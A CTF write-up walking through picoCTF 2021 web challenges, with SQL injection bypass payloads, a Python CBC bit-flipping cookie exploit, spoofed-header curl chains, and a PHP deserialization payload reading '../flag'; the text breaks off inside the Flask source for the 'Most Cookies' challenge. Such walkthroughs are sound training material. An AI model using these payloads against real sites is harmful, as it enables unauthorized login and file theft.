# PicoCTF 2021 Web Exploitation Challenges Walkthrough

## بِسْمِ اللهِ الرَّحْمٰنِ الرَّحِيْمِ

Hey It’s me again, Ahmed Reda (@ 0xHunterr)

![](https://miro.medium.com/v2/resize:fit:500/0*GuDMkYoEvrRiUdSL.jpg)

this time we will get a quick walkthrough for PicoCTF 2021 so let’s get started

just before we start in 2021 challenges, there is a single challenge for the **picoCTF 2020 Mini-Competition** let’s solve it first and then continue to 2021:

## Web Gauntlet

![](https://miro.medium.com/v2/resize:fit:875/1*vp3wlRx1FJem0dSLJ9G9Iw.png)

![](https://miro.medium.com/v2/resize:fit:875/1*JXJH59DwUPH_1zAuyzvuhw.png)

the right side is the challenge, left side is the filter

the challenge says to log in as admin, so when I find a login page the first thing to try is SQLI , and the filter says the or filtered, so I tried `admin'--` and it worked

![](https://miro.medium.com/v2/resize:fit:875/1*N7kWEF1va4hj-cfnF1W4YA.png)

round 2 filter

now it filters the comment, I tried other ways to comment things like `admin’#` but didn’t work so I tried `admin’/*` and this time it worked

![](https://miro.medium.com/v2/resize:fit:561/1*cnz0LKHnygi10tmDG3RthQ.png)

round 3 filter

it doesn’t filter anything of our previous payload so I guess it will work also in this case`admin’/*`

![](https://miro.medium.com/v2/resize:fit:875/1*pkpgnveInLwAukFrjeP7Tw.png)

this time the admin is filtered so we will try to bypass it using concatenation like `adm'||'in'/*`

![](https://miro.medium.com/v2/resize:fit:875/1*_kiEoGN4w1PtpOTbYBsm1w.png)

it assumes we worked with `union attack` but we didn’t so we can use the same payload `adm'||'in'/*` and here we go

![](https://miro.medium.com/v2/resize:fit:875/1*ARAM6TI276dWRR_XbOevdw.png)

**picoCTF{y0u\_m4d3\_1t\_d846125f7bdbf4d6e89cbc5edb6fa739}**

### starting our PicoCTF 2021 from here

## 1: GET aHEAD

![](https://miro.medium.com/v2/resize:fit:875/1*m5V0s2yLlExypvfuvRxh_g.png)

the challenge provides us with the following website

![](https://miro.medium.com/v2/resize:fit:875/1*21tuvRK9J6GkRj9kredh4g.png)

when we choose any color it sends a request with a different HTTP method `(GET, POST)` the challenge sounds to be about the HTTP methods from its name and how the website handles the request so let’s try to intercept it and change the request method to HEAD as the name of the challenge

![](https://miro.medium.com/v2/resize:fit:875/1*eTQq7GvYhSEHbfaYSatm9A.png)

here we go `picoCTF{r3j3ct_th3_du4l1ty_cca66bd3}` it was quick

## 2: Cookies

![](https://miro.medium.com/v2/resize:fit:875/1*DevlHvJgGdy1sJ38dJkegA.png)

we provided with this website, takes from the name of a cookie and gives u a small sentence about it

![](https://miro.medium.com/v2/resize:fit:875/1*zo_eTFoiHfCW8zcg9uReOw.png)

if we check the cookies u will notice that each cookie has a different numerical value in the HTTP request `in a cookie param named "name"` so Bruteforce as numbers as we can till we find our flag cookie,

so we will use **Burp Intruder** to automate this simple task for us, it will be **sniper attack**, with a **numbers payloads list** we will try 80 first, and don’t forget to set the Grep match to `picoCTF{` to find the flag easily

![](https://miro.medium.com/v2/resize:fit:875/1*ZcqGmbn0Pah2cyTvwEDPwg.png)

![](https://miro.medium.com/v2/resize:fit:875/1*kVfpARPWViBXT1rdvzLPKQ.png)

and here we go `picoCTF{3v3ry1_l0v3s_c00k135_064663be}`

## 3: Scavenger Hunt

![](https://miro.medium.com/v2/resize:fit:875/1*XMRZfbr0MXIoX7n4FKHwXQ.png)

the website :

![](https://miro.medium.com/v2/resize:fit:875/1*4MQrH6TVOxPNa0VeAe4QfA.png)

it mentions the uses of HTML, CSS, and JS so let’s check the source code

Scavenger Hunt

## Just some boring HTML

```
  <button class="tablink" onclick="openTab('tabintro', this, '#222')" id="defaultOpen">How</button>  
  <button class="tablink" onclick="openTab('tababout', this, '#222')">What</button>  

  <div id="tabintro" class="tabcontent">  
```

#### How

How do you like my website?

```
  <div id="tababout" class="tabcontent">  
```

#### What

I used these to make this site:\
HTML\
CSS\
JS (JavaScript)

```
</div>  
```

we can find a comment for us with the first part of the flag `picoCTF{t` and we notice there are also CSS and JS files included, let’s check them

div.container {\
width: 100%;\
}

header {\
background-color: black;\
padding: 1em;\
color: white;\
clear: left;\
text-align: center;\
}

body {\
font-family: Roboto;\
}

h1 {\
color: white;\
}

p {\
font-family: "Open Sans";\
}

.tablink {\
background-color: #555;\
color: white;\
float: left;\
border: none;\
outline: none;\
cursor: pointer;\
padding: 14px 16px;\
font-size: 17px;\
width: 50%;\
}

.tablink:hover {\
background-color: #777;\
}

.tabcontent {\
color: #111;\
display: none;\
padding: 50px;\
text-align: center;\
}

\#tabintro { background-color: #ccc; }\
\#tababout { background-color: #ccc; }

/\* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts\_4\_l0 \*/

we find the second part of the flag in a comment at the end of the page `h4ts_4_l0`, let’s check the JS file

function openTab(tabName,elmnt,color) {\
var i, tabcontent, tablinks;\
tabcontent = document.getElementsByClassName("tabcontent");\
for (i = 0; i < tabcontent.length; i++) {\
tabcontent\[i].style.display = "none";\
}\
tablinks = document.getElementsByClassName("tablink");\
for (i = 0; i < tablinks.length; i++) {\
tablinks\[i].style.backgroundColor = "";\
}\
document.getElementById(tabName).style.display = "block";\
if(elmnt.style != null) {\
elmnt.style.backgroundColor = color;\
}\
}

window\.onload = function() {\
openTab('tabintro', this, '#222');\
}

/\* How can I keep Google from indexing my website? \*/

we find a comment that says **“How can I keep Google from indexing my website?”,** it’s a hint about the famous file “**robots.txt“** Let’s check it

![](https://miro.medium.com/v2/resize:fit:875/1*Hl92RPDvWodPRuyUMK3rKQ.png)

we got the third part `t_0f_pl4c` and a new hint that says **“I think this is an Apache server… can you Access the next flag?”** let’s do some search

![](https://miro.medium.com/v2/resize:fit:875/1*9J5U_M12ikOjfKjnweAtBA.png)

.htaccess files provide a way to make configuration changes on a per-directory basis.

![](https://miro.medium.com/v2/resize:fit:875/1*vfQivHQICkJpd42eCojZKQ.png)

Part4: `3s_2_lO0k` and a new hint **“I love making websites on my Mac, I can Store a lot of information there. ”** we can notice that “Store” word is capitalized, In Macs, a `.DS_Store` [file](https://en.wikipedia.org/wiki/.DS_Store) stores the configurations

![](https://miro.medium.com/v2/resize:fit:875/1*uczwubFZDmk7W2G00KU4FQ.png)

and finally with the final part : `_f7ce8828}` after concatenating all parts: `picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_f7ce8828}`

## 4: Some Assembly Required 1

![](https://miro.medium.com/v2/resize:fit:875/1*dkrMETbR1pTP8UhqMRK-WA.png)

![](https://miro.medium.com/v2/resize:fit:863/1*vUJRssEKVSjSs6Ft2ZjyQg.png)

![](https://miro.medium.com/v2/resize:fit:400/0*jsF95x3-szJIAHQF.jpg)

Couldn’t solve it on my first try

anyway as it’s a web challenge says assembly is required maybe it’s about the [Web Assembly (Wasm)](https://webassembly.org/), in situations like this I prefer go to Inspector and sources to see the whole picture and files the website uses, so we got this JS file after formatting it

![](https://miro.medium.com/v2/resize:fit:875/1*ivUSi1Q7fYjJBGqDom-Ckg.png)

co\*\**nst \_0x402c = \[*\
\&#xNAN;*'value',*\
\&#xNAN;*'2wfTpTR',*\
\&#xNAN;*'instantiate',*\
\&#xNAN;*'275341bEPcme',*\
\&#xNAN;*'innerHTML',*\
\&#xNAN;*'1195047NznhZg',*\
\&#xNAN;*'1qfevql',*\
\&#xNAN;*'input',*\
\&#xNAN;*'1699808QuoWhA',*\
\&#xNAN;*'Correct!',*\
\&#xNAN;*'check\_flag',*\
\&#xNAN;*'Incorrect!',*\
\&#xNAN;*'./JIFxzHyW8W',*\
\&#xNAN;*'23SMpAuA',*\
\&#xNAN;*'802698XOMSrr',*\
\&#xNAN;*'charCodeAt',*\
\&#xNAN;*'474547vVoGDO',*\
\&#xNAN;*'getElementById',*\
\&#xNAN;*'instance',*\
\&#xNAN;*'copy\_char',*\
\&#xNAN;*'43591XxcWUl',*\
\&#xNAN;*'504454llVtzW',*\
\&#xNAN;*'arrayBuffer/*',\
'2NIQmVj',\
'result'\
];\
const \_0x4e0e = function (\_0x553839, \_0x53c021) {\
\_0x553839 = \_0x553839 - 470;\
let \_0x402c6f = \_0x402c\[\_0x553839];\
return \_0x402c6f;\
};\
(\
function (\_0x76dd13, \_0x3dfcae) {\
const \_0x371ac6 = \_0x4e0e;\
while (!!\[]) {\
try {\
const \_0x478583 = - parseInt(\_0x371ac6(491)) + parseInt(\_0x371ac6(493)) + - parseInt(\_0x371ac6(475)) \* - parseInt(\_0x371ac6(473)) + - parseInt(\_0x371ac6(482)) \* - parseInt(\_0x371ac6(483)) + - parseInt(\_0x371ac6(478)) \* parseInt(\_0x371ac6(480)) + parseInt(\_0x371ac6(472)) \* parseInt(\_0x371ac6(490)) + - parseInt(\_0x371ac6(485));\
if (\_0x478583 === \_0x3dfcae) break;\
else \_0x76dd13['push'](https://github.com/0xHunterr/The-Nen-Book/blob/main/Writeups/PicoCTF/_0x76dd13\[%27shift%27]\(\)/README.md);\
} catch (\_0x41d31a) {\
\_0x76dd13['push'](https://github.com/0xHunterr/The-Nen-Book/blob/main/Writeups/PicoCTF/_0x76dd13\[%27shift%27]\(\)/README.md);\
}\
}\
}(\_0x402c, 627907)\
);\
let exports;\
(\
async() => {\
const \_0x48c3be = \_0x4e0e;\
let \_0x5f0229 = await fetch(\_0x48c3be(489)),\
\_0x1d99e9 = await WebAssembly\[\_0x48c3be(479)]\(await \_0x5f0229[\_0x48c3be(474)](/the-nen-book/writeups/picoctf/picoctf-2021-web-exploitation-challenges-walkthrough.md)),\
\_0x1f8628 = \_0x1d99e9\[\_0x48c3be(470)];\
exports = \_0x1f8628\['exports'];\
}\
) ();\
function onButtonPress() {\
const \_0xa80748 = \_0x4e0e;\
let \_0x3761f8 = document['getElementById'](https://github.com/0xHunterr/The-Nen-Book/blob/main/Writeups/PicoCTF/_0xa80748\(484\)/README.md) \[\_0xa80748(477)];\
for (let \_0x16c626 = 0; \_0x16c626 < \_0x3761f8\['length']; \_0x16c626++) {\
exports\[\_0xa80748(471)]\(\_0x3761f8[\_0xa80748(492)](https://github.com/0xHunterr/The-Nen-Book/blob/main/Writeups/PicoCTF/_0x16c626/README.md), \_0x16c626);\
}\
exports\['copy\_char']\(0, \_0x3761f8\['length']),\
exports[\_0xa80748(487)](/the-nen-book/writeups/picoctf/picoctf-2021-web-exploitation-challenges-walkthrough.md) == 1 ? document[\_0xa80748(494)](https://github.com/0xHunterr/The-Nen-Book/blob/main/Writeups/PicoCTF/_0xa80748\(476\)/README.md) \[\_0xa80748(481)] = \_0xa80748(486) : document[\_0xa80748(494)](https://github.com/0xHunterr/The-Nen-Book/blob/main/Writeups/PicoCTF/_0xa80748\(476\)/README.md) \[\_0xa80748(481)] = \_0xa80748(488);\
}

It’s obfuscated code, I couldn’t get anything from it but it sounds like an array that has a lot of random values, and the code accesses it somehow with offset, but we can notice a wasm folder sounds Interesting

![](https://miro.medium.com/v2/resize:fit:875/1*ItnDchOghhS6ACsp9nZSag.png)

line 52 in the code shows that it’s waiting for the execution of this file, when we open it we see some low-level code if we look at the bottom of it we will find our flag!

![](https://miro.medium.com/v2/resize:fit:875/1*dnVykJlwBcsQrmHjV1Nk1g.png)

this file is about the logic of comparing our input with the original flag but the flag is **hardcoded**

`picoCTF{8857462f9e30faae4d037e5e25fee1ce}`

## 5: More Cookies

![](https://miro.medium.com/v2/resize:fit:875/1*h9rTXEbj25NjYiuk7edzog.png)

encrypted cookies then

go to our cookie editor and see the cookie will find it ends with = sign it gives me a hint that it’s base64 encoded `WElrYWV0enRCdlg3RkJQRnVXZXYxQVVWRjlsUXR4NEpvYyt1M1UwWm1FaXpkdzJUOUdVdVBrYnY4ZTFzWndxVzVidE8vS3BpMnNESnhLU3JXS1d5Wmk1cE1yTjAwZFM2RkViZEpWcDFtZXpUME9ZTXcxb0grSEU0NU9reTZwemg=`

![](https://miro.medium.com/v2/resize:fit:861/1*5q7P5oSZgn65j5LyjRDY3A.png)

![](https://miro.medium.com/v2/resize:fit:875/1*-ZeQCcpsEwFOGLzmAc-f6w.png)

but no it seems to be encrypted not just encoded

so looking at the challenge hints, I found a Wiki link about [Homomorphic encryption](https://en.wikipedia.org/wiki/Homomorphic_encryption), after trying a lot of random decryption and decoding methods, I couldn't solve it

![](https://miro.medium.com/v2/resize:fit:875/0*9gEmM5oALJj8QI6U.jpg)

starting to search for someone’s solution, found this [one](https://picoctf2021.haydenhousen.com/web-exploitation/more-cookies) it contains some useful resources like ([CBC](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_block_chaining_\(CBC\)), [The Bit Flipping attack](https://crypto.stackexchange.com/questions/66085/bit-flipping-attack-on-cbc-mode/66086#66086), and [Python Script](https://github.com/HHousen/PicoCTF-2021/blob/master/Web%20Exploitation/More%20Cookies/improved_script.py))

in summary, it uses [Homomorphic encryption](https://en.wikipedia.org/wiki/Homomorphic_encryption) which allows u to encrypt data on the basis of its plain text, there are many modes of this encryption algorithm one of them is [CBC](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_block_chaining_\(CBC\)) which basically encrypts the plain text by **XORing** it with the previous cipher text so if there any byte changed in the previous cipher text it will only affect the corresponding pos in the current plain text u can find more details [here](https://crypto.stackexchange.com/questions/66085/bit-flipping-attack-on-cbc-mode/66086#66086)

![](https://miro.medium.com/v2/resize:fit:875/1*dc4C9PXZaFO-94uAORz52g.png)

so we will try to change every byte in our cookie till we get the flag since we don’t know the target byte, and this is what the Python code does

import requests\
import base64\
from tqdm import tqdm

ADDRESS = "<http://mercury.picoctf.net:15614/>"

s = requests.Session()\
s.get(ADDRESS)\
cookie = s.cookies\["auth\_name"]

## Decode the cookie from base64 twice to reverse the encoding scheme.

decoded\_cookie = base64.b64decode(cookie)\
raw\_cookie = base64.b64decode(decoded\_cookie)

def exploit():\
\# Loop over all the bytes in the cookie.\
for position\_idx in tqdm(range(0, len(raw\_cookie))):\
\# Loop over all the bits in the current byte at `position_idx`.\
for bit\_idx in range(0, 8):\
\# Construct the current guess.\
\# - All bytes before the current `position_idx` are left alone.\
\# - The byte in the `position_idx` has the bit at position `bit_idx` flipped.\
\# This is done by XORing the byte with another byte where all bits are zero\
\# except for the bit in position `bit_idx`. The code `1 << bit_idx`\
\# creates a byte by shifting the bit `1` to the left `bit_idx` times. Thus,\
\# the XOR operation will flip the bit in position `bit_idx`.\
\# - All bytes after the current `position_idx` are left alone.\
bitflip\_guess = (\
raw\_cookie\[0:position\_idx]\
\+ ((raw\_cookie\[position\_idx] ^ (1 << bit\_idx)).to\_bytes(1, "big"))\
\+ raw\_cookie\[position\_idx + 1 :]\
)

```
        # Double base64 encode the bit-blipped cookie following the encoding scheme.  
        guess = base64.b64encode(base64.b64encode(bitflip_guess)).decode()  

        # Send a request with the cookie to the application and scan for the  
        # beginning of the flag.  
        r = requests.get(ADDRESS, cookies={"auth_name": guess})  
        if "picoCTF{" in r.text:  
            print(f"Admin bit found in byte {position_idx} bit {bit_idx}.")  
            # The flag is between `<code>` and `</code>`.  
            print("Flag: " + r.text.split("<code>")[1].split("</code>")[0])  
            return  
```

exploit()

don’t forget to install tdqm module before running it, u can download it using: `pip3 install tdqm` and we got our flag

![](https://miro.medium.com/v2/resize:fit:875/1*1QZeFMD-xtolhADDq8FbWA.png)

`picoCTF{cO0ki3s_yum_a9a19fa6}`

## 6: It is my Birthday

![](https://miro.medium.com/v2/resize:fit:875/1*rZQsrRczLEdqziuLVdiYvA.png)

The challenge states that we need to essentially upload two PDFs with the same hashes, but also two PDFs that are not the same file

A collision occurs when two files are fundamentally different, but both return the **same hash**. This can be in algorithms such as md5 due to its relatively small keyspace,

so after some research found this script that does that [job](https://github.com/corkami/collisions/blob/master/scripts/pdf.py) I also had to place [pdf1.bin](https://github.com/corkami/collisions/blob/master/scripts/pdf1.bin) and [pdf2.bin](https://github.com/corkami/collisions/blob/master/scripts/pdf2.bin) in my working directory it needs these binaries when it runs. and installs `mutools` using `sudo apt-get install mupdf-tools` and creating a file called `dummy.pdf` in my working directory, and making two PDFs files and compressing them using any online tool and finally, we can run the script passing our two compressed PDFs as arguments

![](https://miro.medium.com/v2/resize:fit:875/1*98bHBJsPQxfbrhzHlpPkxg.png)

`picoCTF{c0ngr4ts_u_r_1nv1t3d_73b0c8ad}` we got our flag and the backend code of the page

## 7: Who are you?

![](https://miro.medium.com/v2/resize:fit:875/1*0ofvmTqVXF2iliggm1Kw4A.png)

![](https://miro.medium.com/v2/resize:fit:875/1*anMOqfwBSytM8p-QyFu_xA.jpeg)

I came here to play not to overthink

![](https://miro.medium.com/v2/resize:fit:875/1*KVG8nQ8-0KPy6YAnojYz2Q.png)

the provided website

nothing interesting in the source code, but it mentions the Picobrowser again it’s similar to a challenge we solved earlier in Pico 2019 called Picobrowser u can check it, so anyway let’s send a basic curl request and see

curl <http://mercury.picoctf.net:38322/> | grep "\<h3.*>.*\</h3>"

![](https://miro.medium.com/v2/resize:fit:875/1*aT4p7DJMeCtDTHLv13ItjA.png)

“color:red”>Only people who use the official PicoBrowser are allowed on this site!

let’s spoof the `user agent` header as we did before

curl -H "user-agent: picobrowser " <http://mercury.picoctf.net:38322/> | grep "\<h3.*>.*\</h3>"

![](https://miro.medium.com/v2/resize:fit:875/1*_fFuQKbqJVFaVqxLC4RUMg.png)

#### I don't trust users visiting from another site.

this time talking about coming from another site so it’s about `referer` header

curl --user-agent "picobrowser" --referer "<http://mercury.picoctf.net:38322/>" <http://mercury.picoctf.net:38322/> | grep "\<h3.*>.*\</h3>"

![](https://miro.medium.com/v2/resize:fit:875/1*EIrZEoagdaqXwHNIyeq4Pw.png)

Sorry, this site only worked in 2018.

spoofing the `date` header

curl --user-agent "picobrowser" --referer "<http://mercury.picoctf.net:38322/>" -H "Date: Mon, 24 8 2018 23:23:23 GMT" <http://mercury.picoctf.net:38322/> | grep "\<h3.*>.*\</h3>"

![](https://miro.medium.com/v2/resize:fit:875/1*yivgIrXjAd4gjT7kqH9FuQ.png)

I don't trust users who can be tracked

after some search found the `DNT` (Do Not Track)header and assigned value 1 to be not tracked on the website

curl --user-agent "picobrowser" --referer "<http://mercury.picoctf.net:38322/>" -H "Date: Mon, 24 8 2018 23:23:23 GMT" -H "DNT: 1" <http://mercury.picoctf.net:38322/> | grep "\<h3.*>.*\</h3>"

![](https://miro.medium.com/v2/resize:fit:875/1*36OOZgddr6p3Y9E8t25A6w.png)

This website is only for people from Sweden.

we need Sweden IP u can get one from [here](https://tools.tracemyip.org/search--country/sweden)

curl --user-agent "picobrowser" --referer "<http://mercury.picoctf.net:38322/>" -H "Date: Mon, 24 8 2018 23:23:23 GMT" -H "DNT: 1" <http://mercury.picoctf.net:38322/> -H "X-Forwarded-For: 199.247.35.63"| grep "\<h3.*>.*\</h3>"

![](https://miro.medium.com/v2/resize:fit:875/1*85fd-cKHVetlr-8w77OkKQ.png)

You're in Sweden but you don't speak Swedish?

talking about language so let’s spoof the `accept language`

curl --user-agent "picobrowser" --referer "<http://mercury.picoctf.net:38322/>" -H "Date: Mon, 24 8 2018 23:23:23 GMT" -H "DNT: 1" <http://mercury.picoctf.net:38322/> -H "X-Forwarded-For: 199.247.35.63" -H "Accept-Language: sv-SE"| grep "\<h3.*>.*\</h3>"

![](https://miro.medium.com/v2/resize:fit:875/1*LCJTW8F0aAowVYj_r3D9JQ.png)

What can I say except, you are welcome

Guess all is good now lets Grep for the flag

curl --user-agent "picobrowser" --referer "<http://mercury.picoctf.net:38322/>" -H "Date: Mon, 24 8 2018 23:23:23 GMT" -H "DNT: 1" <http://mercury.picoctf.net:38322/> -H "X-Forwarded-For: 199.247.35.63" -H "Accept-Language: sv-SE"| grep "picoCTF{"

![](https://miro.medium.com/v2/resize:fit:875/1*qigZB3RZOENI4aznIiHtdg.png)

the flag : `picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_b22d773c}`

## 7: Some Assembly Required 2

![](https://miro.medium.com/v2/resize:fit:875/1*wFUM8GNT8dfhSNe5aHxSNA.png)

![](https://miro.medium.com/v2/resize:fit:875/1*DVSP0j4N7Uz5eHmNWI8z2A.png)

same as before when we press the submit button it triggers the `onButtonPress()` function

const \_0x6d8f = \[\
'copy\_char',\
'value',\
'207aLjBod',\
'1301420SaUSqf',\
'233ZRpipt',\
'2224QffgXU',\
'check\_flag',\
'408533hsoVYx',\
'instance',\
'278338GVFUrH',\
'Correct!',\
'549933ZVjkwI',\
'innerHTML',\
'charCodeAt',\
'./aD8SvhyVkb',\
'result',\
'977AzKzwq',\
'Incorrect!',\
'exports',\
'length',\
'getElementById',\
'1jIrMBu',\
'input',\
'615361geljRK'\
];\
const \_0x5c00 = function (\_0x58505a, \_0x4d6e6c) {\
\_0x58505a = \_0x58505a - 195;\
let \_0x6d8fc4 = \_0x6d8f\[\_0x58505a];\
return \_0x6d8fc4;\
};\
(\
function (\_0x12fd07, \_0x4e9d05) {\
const \_0x4f7b75 = \_0x5c00;\
while (!!\[]) {\
try {\
const \_0x1bb902 = - parseInt(\_0x4f7b75(200)) \* - parseInt(\_0x4f7b75(201)) + - parseInt(\_0x4f7b75(205)) + parseInt(\_0x4f7b75(207)) + parseInt(\_0x4f7b75(195)) + - parseInt(\_0x4f7b75(198)) \* parseInt(\_0x4f7b75(212)) + parseInt(\_0x4f7b75(203)) + - parseInt(\_0x4f7b75(217)) \* parseInt(\_0x4f7b75(199));\
if (\_0x1bb902 === \_0x4e9d05) break;\
else \_0x12fd07['push'](https://github.com/0xHunterr/The-Nen-Book/blob/main/Writeups/PicoCTF/_0x12fd07\[%27shift%27]\(\)/README.md);\
} catch (\_0x4f8a) {\
\_0x12fd07['push'](https://github.com/0xHunterr/The-Nen-Book/blob/main/Writeups/PicoCTF/_0x12fd07\[%27shift%27]\(\)/README.md);\
}\
}\
}(\_0x6d8f, 310022)\
);\
let exports;\
(\
async() => {\
const \_0x835967 = \_0x5c00;\
let \_0x1adb5f = await fetch(\_0x835967(210)),\
\_0x355961 = await WebAssembly\['instantiate']\(await \_0x1adb5f['arrayBuffer'](/the-nen-book/writeups/picoctf/picoctf-2021-web-exploitation-challenges-walkthrough.md)),\
\_0x5c0ffa = \_0x355961\[\_0x835967(204)];\
exports = \_0x5c0ffa\[\_0x835967(214)];\
}\
) ();\
function onButtonPress() {\
const \_0x50ea62 = \_0x5c00;\
let \_0x5f4170 = document[\_0x50ea62(216)](https://github.com/0xHunterr/The-Nen-Book/blob/main/Writeups/PicoCTF/_0x50ea62\(218\)/README.md) \[\_0x50ea62(197)];\
for (let \_0x19d3ca = 0; \_0x19d3ca < \_0x5f4170\['length']; \_0x19d3ca++) {\
exports\[\_0x50ea62(196)]\(\_0x5f4170[\_0x50ea62(209)](https://github.com/0xHunterr/The-Nen-Book/blob/main/Writeups/PicoCTF/_0x19d3ca/README.md), \_0x19d3ca);\
}\
exports\['copy\_char']\(0, \_0x5f4170\[\_0x50ea62(215)]),\
exports[\_0x50ea62(202)](/the-nen-book/writeups/picoctf/picoctf-2021-web-exploitation-challenges-walkthrough.md) == 1 ? document['getElementById'](https://github.com/0xHunterr/The-Nen-Book/blob/main/Writeups/PicoCTF/_0x50ea62\(211\)/README.md) \[\_0x50ea62(208)] = \_0x50ea62(206) : document[\_0x50ea62(216)](https://github.com/0xHunterr/The-Nen-Book/blob/main/Writeups/PicoCTF/_0x50ea62\(211\)/README.md) \['innerHTML'] = \_0x50ea62(213);\
}

and the **WASM** file is waiting for our Input, I go check if it compares with any text

![](https://miro.medium.com/v2/resize:fit:875/1*0AcAfBeMpKfAI9tPX5p1Yw.png)

and found this, it sounds like the flag but this time, it is encoded or something, I tried the base64 and Hex but got nothing, after a lot of trying used **Magic** recipe with restrict mode on and **pico as regex** and got something interesting here

![](https://miro.medium.com/v2/resize:fit:875/1*aKpDkIsGWxuvlGcUtuP9GQ.png)

from CyberChef Recipe description, the website seems to be getting our input in HEX value (ASCII) and XORing it with 8 to compare with the encoded flag

to enhance it I tried to play with **depth** but no effect so I copied the random number and add to the flag format which is `picoCTF{}` and it worked!

![](https://miro.medium.com/v2/resize:fit:875/1*uh3x99NPsfftdEoKGGZHxg.png)

**picoCTF{6f3bd18312ebf1e48f12282200948876}**

## 8: Super Serial

![](https://miro.medium.com/v2/resize:fit:875/1*faOL7UgKVPfx7VhvqoRsZQ.png)

This challenge got me confused when I saw the hint I thought it was a Directory listing Vuln or sort of it but I tried many ways and got nothing

so started to look for the `/robots.txt` and found something Interesting :

![](https://miro.medium.com/v2/resize:fit:875/1*UHDZZB6J2XRaG396159vaA.png)

/robots.txt

it disallows the `admin.phps` so I tried to visit it but it’s not found, there’s something more important here, I noticed that the file with the extension `phps` not `php` which is different

The PHPS file type is primarily associated with ‘PHP Source’ by The PHP Group. Generally, PHP files will get interpreted by the Web server and PHP executable, and you will never see the code behind the PHP file. If you make the file extension.PHPS, a properly-configured server will output a color-formated version of the source instead of the HTML that would normally be generated (not all servers)

so it’s a hint that we can read the backend source code using `phps`, all we need to do now is to find the files, As the default it usually has `/Index.php`

you can also run directory robust tools like **Gobuster** to get all the files

gobuster dir -u <http://mercury.picoctf.net:3449/> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t30 --timeout 60s

let’s go to `/Index.phps`

![](https://miro.medium.com/v2/resize:fit:875/1*TdGpmwnJAOlaHaT6pnRkQw.png)

at line 10 and 11

is\_guest() || $perm\_res->is\_admin()) { setcookie("login", urlencode(base64\_encode(serialize($perm\_res))), time() + (86400 \* 30), "/"); header("Location: authentication.php"); die(); } else { $msg = '

**Invalid Login.**

'; } } ?>

**Sign In**

&#x20;Username

```
    <div class="form-label-group">  
     <input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>  
     <label for="pass">Password</label>  
    </div>  

    <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>  
   </form>  
  </div>  
 </div>  
</div>  
```

we can find line 10 there is a cookie named `login` and the value of it is a variable named `$perm_res` getting **serialized** and encoded so it seems to be **Insecure deserialization** you can read about it [here](https://portswigger.net/web-security/deserialization) or [here](https://medium.com/swlh/exploiting-php-deserialization-56d71f03282a) so let's see the content of `/authentication.php` and `cookie.php`

username = $u; $this->password = $p; } function \_\_toString() { return $u.$p; } function is\_guest() { $guest = false; $con = new SQLite3("../users.db"); $username = $this->username; $password = $this->password; $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?"); $stm->bindValue(1, $username, SQLITE3\_TEXT); $stm->bindValue(2, $password, SQLITE3\_TEXT); $res = $stm->execute(); $rest = $res->fetchArray(); if($rest\["username"]) { if ($rest\["admin"] != 1) { $guest = true; } } return $guest; } function is\_admin() { $admin = false; $con = new SQLite3("../users.db"); $username = $this->username; $password = $this->password; $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?"); $stm->bindValue(1, $username, SQLITE3\_TEXT); $stm->bindValue(2, $password, SQLITE3\_TEXT); $res = $stm->execute(); $rest = $res->fetchArray(); if($rest\["username"]) { if ($rest\["admin"] == 1) { $admin = true; } } return $admin; } } if(isset($\_COOKIE\["login"])){ try{ $perm = unserialize(base64\_decode(urldecode($\_COOKIE\["login"]))); $g = $perm->is\_guest(); $a = $perm->is\_admin(); } catch(Error $e){ die("Deserialization error. ".$perm); } } ?> log\_file = $lf; } function \_\_toString() { return $this->read\_log(); } function append\_to\_log($data) { file\_put\_contents($this->log\_file, $data, FILE\_APPEND); } function read\_log() { return file\_get\_contents($this->log\_file); } } require\_once("cookie.php"); if(isset($perm) && $perm->is\_admin()){ $msg = "Welcome admin"; $log = new access\_log("access.log"); $log->append\_to\_log("Logged in at ".date("Y-m-d")."\n"); } else { $msg = "Welcome guest"; } ?>

Go back to login

we can spot the `unserialize` function at the `authentication.phps` we know that there is an `access_log` object and we know that this gets instantiated with the call to the file `access.log` on the server

So we can store a serialized `access_log` object in the `login` cookie with the `log_file` set to `../flag` (it’s the location of our flag we get it from the hint)instead of `access.log` file so it will print the content of it.

we can write the serialized object manual just by knowing its syntax it will be like `O:10:”access_log”:1:{s:8:”log_file”;s:7:”../flag”;}` and then encode it with base64 `TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9`

and then go to `authentication.php` and add the `login` cookie with our encoded payload and refresh

![](https://miro.medium.com/v2/resize:fit:875/1*SCLK0Yex0LyO25zCIMdKRQ.png)

**picoCTF{th15\_vu1n\_1s\_5up3r\_53r1ous\_y4ll\_b4e3f8b1}**

## 9: Most Cookies

![](https://miro.medium.com/v2/resize:fit:875/1*Ngu0XfDhFs2yhdmylAeFGQ.png)

we provided with server code which is Flask as mentioned in the description:

from flask import Flask, render\_template, request, url\_for, redirect, make\_response, flash, session\
import random\
app = Flask(**name**)\
flag\_value = open("./flag").read().rstrip()\
title = "Most Cookies"\
cookie\_names = \["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]\
app.secret\_key = random.choice(cookie\_names)

@app.route("/")\
def main():\
if session.get("very\_auth"):\
check = session\["very\_auth"]\
if check == "blank":\
return render\_template("index.html", title=title)\
else:\
return make\_response(redirect("/display"))\
else:\
resp = make\_response(redirect("/"))\
session\["very\_auth"] = "blank"\
return resp

@app.route("/search", methods=\["GET", "POST"])\
def search():\
if "name" in request.form and request.form\["name"] in cookie\_names:\
resp = make\_response(redirect("/display"))\
session\["very\_auth"] = request.form\["name"]\
return resp\
else:\
message = "That doesn't appear to be a valid cookie."\
category = "danger"\
flash(message, category)\
